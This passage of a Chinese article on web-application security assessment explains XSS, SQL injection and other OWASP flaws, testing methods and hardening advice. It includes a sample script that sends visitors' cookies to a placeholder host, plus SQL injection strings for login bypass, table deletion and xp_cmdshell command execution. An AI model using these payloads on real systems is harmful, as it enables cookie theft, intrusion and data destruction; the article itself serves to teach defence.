从图中可以看出有两个概率最高的攻击手段,它们分别是“跨站点脚本攻击”(Cross-Site Scripting)和“注入缺陷”(Injection Flaws)。下面将通过举例来说明这两种攻击是如何实施的。
2.1. 跨站脚本攻击
跨站脚本攻击指的是攻击者往Web页面里插入恶意html代码,当用户浏览该页面时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的,其攻击对象主要是Web应用的访问者而非Web应用系统本身。跨站脚本攻击属于被动式的攻击,因为需要访问特定Web页面才能进行攻击,因为其被动且不好利用,所以许多人常忽略其危害性。
跨站脚本攻击得以实现的前提是可以在Web页面中插入特定的html代码,这一般是通过利用Web应用对提交数据的检查漏洞来完成。以BBS为例,如果Web应用没有对用户的输入进行检查,恶意攻击者可以在BBS的输入框中提交如下内容:
<script language=’javascript’>
document.write(“<img src=’http://xxx.com/getCookies”+”?c=”+document.cookie+”‘>”);
<script/>
当访问者访问到该攻击者的发言时,看到的是“你好”两个字,但是他不知道,他的cookie信息已经被发送到了xxx.com。而cookie信息中往往包含了用户的注册信息等及其敏感的数据,如果是银行注册信息等,后果将不堪设想。
除了获取cookie信息,跨站脚本攻击还可造成的危害有:屏蔽页面特定信息、伪造页面信息、拒绝服务攻击、突破外网内网不同安全设置、与其它漏洞结合修改系统设置、执行系统命令等。
2.2. SQL注入攻击
SQL 注入攻击主要是通过构建特殊的输入,这些输入往往是SQL 语法中的一些组合, 这些输入将作为参数传入Web应用程序,通过执行SQL语句而执行入侵者想要的操作, 下面以登录验证中的模块为例, 说明SQL注入攻击的实现方法。
在Web应用程序的登录验证程序中,一般有用户名username和密码password两个参数, 程序会通过用户所提交的用户名和密码来执行授权操作。其原理是通过查找user表中的用户名username和密码password的结果来进行授权访问, 典型的SQL查询语句为:
select * from users where username=‘admin’ and password=‘smith’
如果分别给username和password赋值“admin’ or 1=1– ”和“aaa”。那么,,SQL 脚本解释器中的上述语句就会变为:
select*from users where username=‘admin’or 1=1– and password=‘aaa’
该语句中进行了两个判断,只要一个条件成立,则就会执行成功,而1=1在逻辑判断上是恒成立的,后面的“—”表示注释,即后面所有的语句为注释语句。同理通过在输入参数中构建特定的SQL语句还可以进行删除数据表,查询、插入或更新数据库中的数据等危险操作,典型的一些操作如下:
(1) ′;drop table authors 如果存在authors表则删除。
(2) ′union select sum( username) from users 从users表中查询出username的个数。
(3) ′; insert into users values ( 666, ′attacker′, ′foobar′,0xffff) 在user表中插入值。
(4) ′union select @@version, 1, 1, 1 查询数据库的版本。
(5) ′exec master..xp_cmdshell ′dir′通过xp_cmdshell来执行dir命令。
SQL注入攻击的对象主要是Web应用本身,通过构造特殊的SQL命令可以达到绕过用户认证、破坏或修改后台数据库等目的。
2.3. 其他的Web应用漏洞
OWASP提到的其他Web应用漏洞还有:
(1) 恶意文件执行:上传符合特定Web服务器的文件,如jsp、php、asp文件,由于这些文件可以被Web服务器执行,访问它们即可完全获得网站的信息;
(2) 不安全的直接对象引用:其攻击方式是攻击者利用Web系统本身的文件读取功能,任意存取系统的某一个文件或数据,主要目的是窃取系统内的某些文件,属于一种盗取数据的攻击行为。
(3) 跨站请求伪造:使已登录Web应用程序的合法使用者执行恶意的HTTP指令,但Web应用程序却当成合法需求处理,从而使得恶意指令被正常执行。此一攻击手法类似于XSS。
(4) 信息泄漏和异常错误处理:当系统因为逻辑或数据错误,会将程序代码的错误信息暴露在网页上。输入不同的参数给予该程序执行时,可能产生不同的错误,例如:错误的SQL描述,使得攻击者可以利用不同的错误信息进行数据收集,以便进行后续的攻击。
(5) 身份验证和会话管理绕过:指Web应用程序中自行撰写的身份验证相关功能有缺陷,可能导致session或cookies内所存的数据泄漏,造成使用者或管理者的身份ID被盗取。
(6) 不安全的加密存储:由于Web应用程序没有对敏感性数据使用加密、使用较弱的加密算法(MD5/SHA1)或将密钥储存于容易被取得的地方,使得机密数据容易被黑客破解,造成数据外泄。
(7) 不安全的通信:指在传送敏感性数据时没有使用HTTPS或其它加密方式,针对这一漏洞的攻击行为常发生于无线网络的传输过程中。
(8) URL访问限制失败:由于某些网页没有权限管控,使得攻击者可透过网址直接读取。
3. Web应用安全评估方法
Web应用直接对用户开放,人工采用黑盒测试一般就可以发现其中存在的漏洞,但是Web应用一般包括的网页数量较多,在进行人工测试时需要相关的自动化工具支持;由于目前的Web应用大都采用解释性或准编译性语言开发,如PHP、JSP、ASP等,这使得相当比例的源代码保存在服务器上,因此也可以使用白盒测试方法直接对源代码进行检查。两种测试方法各有自身的优点,建议结合起来使用。下面简单介绍一下这两种测试方法的侧重点和相关测试工具:
3.1. 黑盒测试方法
对Web应用安全性的黑盒测试主要是检查Web应用是否对输入的字符串、提交的文件进行安全性检查,可以手工进行测试的通常有:
(1) 输入带有引号和尖括号的特殊字符串,检查Web应用是否可以进行识别和转换;
(2) 提交特殊的带有jsp、asp等后缀的文件,检查Web应用是否加以过滤;
(3) 直接访问只有登录后才能访问的URL,检查是否可以绕过认证机制;
(4) 使用WebScarab等代理工具对Web网页中隐藏的提交内容、Cookie以及服务器返回的JavaScript进行更改,检查常见的提交漏洞。
进行黑盒测试可以使用的自动化测试工具主要有IBM公司AppScan和HP公司的WebInspect,这两个工具的主要工作原理都是先对要评估的网站进行遍历,找出所有可以进行输入的网页,然后构造特定的输入进行模拟攻击,通过检查网页的返回结果判断是否存在相关漏洞,大大减少了测试人员的工作量。
3.2. 白盒测试方法
Web应用的漏洞的出现基本上是因为在编码时没有充分考虑到安全性而造成的,如果被评估方可以提供Web应用的源代码,则可以从更深的层次进行检查,对源代码的检查主要包括以下方面:
(1) 检查源代码文件中是否存在“.bak”、“.tmp”等结尾的备份文件。
这些文件一般是都是开发工具的备份文件,一旦忘记删除,则会将源代码直接泄漏给访问者,为分析网站和后台数据库的结构提供了极大的方便;
(2) 检查涉及权限的每个动态网页文件是否都进行Session验证。
一般Web应用都会使用一个文件(如checkLogin.jsp)进行Session中某个字段的检查,一旦该字段的值未设置,则直接转向登录页面,其他每个涉及权限的页面都是通过include该页面的方法来进行权限检查,所以只需搜索没有include该页面的文件;
(3) 检查所有的接受输入的语句是否对输入进行检查。
以jsp为例,接受输入的语句一般为String var=request.getParameter(“XXXX”),如果发现变量var没有进行检查就加入到SQL语句中,则可认定存在SQL注入缺陷。
4. 增强Web应用安全性的建议
对Web应用进行风险评估后需要给被评估方提供相应的安全性建议从而帮助被评估方更好的建设已有系统,在我们的评估工作中一般给出的建议包括如下方面:
(1) 建议Web应用开发商在项目开发的设计和编码阶段对Web应用的安全性充分重视,对可能的输入进行有效性检查,删除开发阶段遗留的备份文件,保证每个涉及到权限管理的页面包含Session检查机制,尽量减少使用Cookie作为身份验证机制;
(2) 对数据库用户采用最小权限原则,至少做到后台管理和前台浏览使用不同权限的数据库用户,前台浏览的用户对只需读取的数据表不能具备写入权限;
(3) 尽量采用成熟的中间件机制,保证提交到数据的SQL语句不具备风险;
(4) 在已有的系统中增强日志功能,对用户尤其是后台管理员用户的操作进行详细记录;
(5) 尽量使用后台程序对输入有效性进行验证,而不是使用前台浏览器脚本对输入进行验证;
(6) 尽量采用SSL等加密机制进行网络数据传输,尤其是涉及到敏感数据或使用无线环境时;
(7) 对Web服务器的进行正确配置,对可执行文件的后缀名、存在目录进行严格限制;
(8) 对于Web应用开发较早、已经无法修改原系统的被评估方建议采用部署Web应用防火墙(WAF)的方法快速达到增强Web应用安全的目的。
5. 总结
一方面,Web应用暴露出的漏洞越来越引起人们的注意,另一方面,由于Web应用开发者对此的重视程度不够,越来越多的包含漏洞的Web应用新开发出来投入使用,这为系统等级保护评估工作带来了挑战。本文分析了Web应用常见漏洞的原理,介绍了对应的评估检查方法,并针对性的提出了相关解决办法,相信在各级评估机构、开发者的充分重视下,可以减小由于Web应用安全漏洞带来的损失。
参考文献
[1] Yao-wen Huang, Fang Yu, Christian Hang, Chung-hung Tsai, D. T. Lee, Sy-yen Kuo. Securing web application code by static analysis and runtime protection. 22nd IEEE / 13th NASA Goddard Conference on Mass Storage Systems and Technologies,40-52
[2] Alagar Ormandjieva Department, V. S. Alagar, O. Ormandjieva. Reliability Assessment of WEB Applications. the 26 th Annual International Computer Software and Applications Conference.2002,213-220
[3] 吴涛. 建设符合等级保护要求的信息安全体系——电子政务信息系统等级保护工作的研究与探索[J]. 通信技术. 2008,09,190-192
[4] 丁妮,顾韵华.基于XML的Web应用安全缺陷特征库设计[J].微计算机信息.2007,33,57-58
原文链接:https://www.cnblogs.com/quange/archive/2010/05/24/1742475.html
原创文章,作者:优速盾-小U,如若转载,请注明出处:https://www.cdnb.net/bbs/archives/18495